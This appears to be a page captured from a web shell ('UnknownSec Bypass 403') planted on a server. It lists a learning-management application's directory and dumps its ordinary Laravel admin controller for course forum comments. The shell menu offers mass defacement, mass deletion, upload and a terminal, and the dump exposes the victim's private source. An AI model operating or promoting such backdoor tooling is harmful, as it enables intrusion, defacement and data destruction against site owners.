UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Http
/
Controllers
/
Admin
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
AssessmentController.php
<?php namespace EstudioLMS\Http\Controllers\Admin; use Carbon\Carbon; use EstudioLMS\Helpers\GetDataRecords; use EstudioLMS\Http\Requests\Courses\UtfCommentsRequest; use EstudioLMS\Repositories\Courses\Resources\UtfCommentInterface; use EstudioLMS\Repositories\Courses\Resources\UtfLessonInterface; use Illuminate\Auth\Guard; use Illuminate\Http\Request; use EstudioLMS\Http\Requests; use EstudioLMS\Http\Controllers\Controller; use mjanssen\BreadcrumbsBundle\Breadcrumbs; /** * */ class AssessmentController extends Controller { /** * @var UtfLessonInterface */ private $utfLesson; /** * @var GetDataRecords */ private $getDataRecords; /** * @var UtfCommentInterface */ private $utfComment; /** * @var Guard */ private $auth; /** * @var Breadcrumbs */ private $breadCrumb; /** * @param Guard $auth * @param UtfLessonInterface $utfLesson * @param GetDataRecords $getDataRecords * @param UtfCommentInterface $utfComment */ public function __construct( Guard $auth, UtfLessonInterface $utfLesson, Breadcrumbs $breadCrumb, GetDataRecords $getDataRecords, UtfCommentInterface $utfComment ) { $this->middleware('admins'); $this->utfLesson = $utfLesson; $this->breadCrumb = $breadCrumb; $this->getDataRecords = $getDataRecords; $this->utfComment = $utfComment; $this->auth = $auth; } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\Foundation\Application|\Illuminate\View\View */ public function index() { $this->breadCrumb->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumb->addBreadcrumb(trans('messages.lblAdminForum'), route('admin.assessment.utf.index')); $bread = $this->breadCrumb->generate(); $env = 'coursemanager'; $title = trans('messages.lblAdminForum'); $selectedCourse = null; $resource = null; $courses = ['' => trans('admin_forum.optionSelectCourse')] + \DB::table('course_resources') ->groupBy('course_id') ->join('courses', 'courses.id', '=', 'course_id') ->where('resource_type_id', '=', 14) ->lists('courses.name', 'courses.id'); $filterRoute = route('admin.assessment.utf.filter'); $frmReplyRoute = route('admin.store.assessment.utf.comments'); $deleteRoute = route('admin.delete.assessment.utf.comments'); return view('admin.assessment.utf-assessment', compact('env', 'title', 'bread', 'courses', 'selectedCourse', 'resource', 'filterRoute', 'frmReplyRoute', 'deleteRoute')); } /** * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\Foundation\Application|\Illuminate\View\View */ public function filter(Request $request) { $data = $request->all(); $this->breadCrumb->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumb->addBreadcrumb(trans('messages.lblAdminForum'), route('admin.assessment.utf.index')); $bread = $this->breadCrumb->generate(); $env = 'coursemanager'; $title = trans('messages.lblAdminForum'); $selectedCourse = null; $selectedResource = null; $courses = ['' => trans('admin_forum.optionSelectCourse')] + \DB::table('course_resources') ->groupBy('course_id') ->join('courses', 'courses.id', '=', 'course_id') ->where('resource_type_id', '=', 14) ->lists('courses.name', 'courses.id'); if (!empty($data['course_id'])) { $selectedCourse = $data['course_id']; $resources = ['' => trans('admin_forum.optionSelectForum')] + \DB::table('course_resources') ->join('utf_lessons', 'resource_id', '=', 'utf_lessons.id') ->where('course_resources.resource_type_id', '=', 14) ->where('course_id', '=', $data['course_id']) ->lists('utf_lessons.title', 'utf_lessons.id'); } $resource= null; if (!empty($data['resource_id'])) { $selectedResource = $data['resource_id']; $resource = $this->utfLesson->with(['comment.user.roles', 'comment.replicas.user.roles', 'comment.replicas.replicas.user.roles'])->find($data['resource_id']); $resource['replys'] = $this->getDataRecords->countUtfReplyAndRejoinder($resource['comment']); $resource['closed'] = false; if(!is_null($resource['deadline'])) { $resource['closed'] = Carbon::parse($resource->getOriginal('deadline'))->toDateString() < Carbon::now()->toDateString(); } } $filterRoute = route('admin.assessment.utf.filter'); $frmReplyRoute = route('admin.store.assessment.utf.comments'); $deleteRoute = route('admin.delete.assessment.utf.comments'); return view('admin.assessment.utf-assessment', compact('env', 'title', 'bread', 'courses', 'selectedCourse', 'resources', 'selectedResource', 'resource', 'filterRoute', 'frmReplyRoute', 'deleteRoute')); } /** * @param UtfCommentsRequest $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\Foundation\Application|\Illuminate\View\View */ public function storeUftComments(UtfCommentsRequest $request) { $data = $request->all(); $utfCommentId = $data['reply_id'] ?? $data['rejoinder_id']; $this->utfComment->create([ 'utf_lesson_id' => null, 'utf_comment_id' => $utfCommentId, 'user_id' => $this->auth->user()['id'], 'comments' => $data['comments'.$utfCommentId] ]); return $this->filter($request); } /** * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\Foundation\Application|\Illuminate\View\View */ public function deleteUtfComments(Request $request) { $data = $request->all(); $utfCommentId = $data['comment_id']; $comments = $this->utfComment->with(['replicas'])->find($utfCommentId); foreach($comments['replicas'] as $comment) { foreach ($comment['replicas'] as $rejoinder) { $rejoinder->delete(); } $comment->delete(); } $comments->delete(); return $this->filter($request); } }
Copyright © 2026 - UnknownSec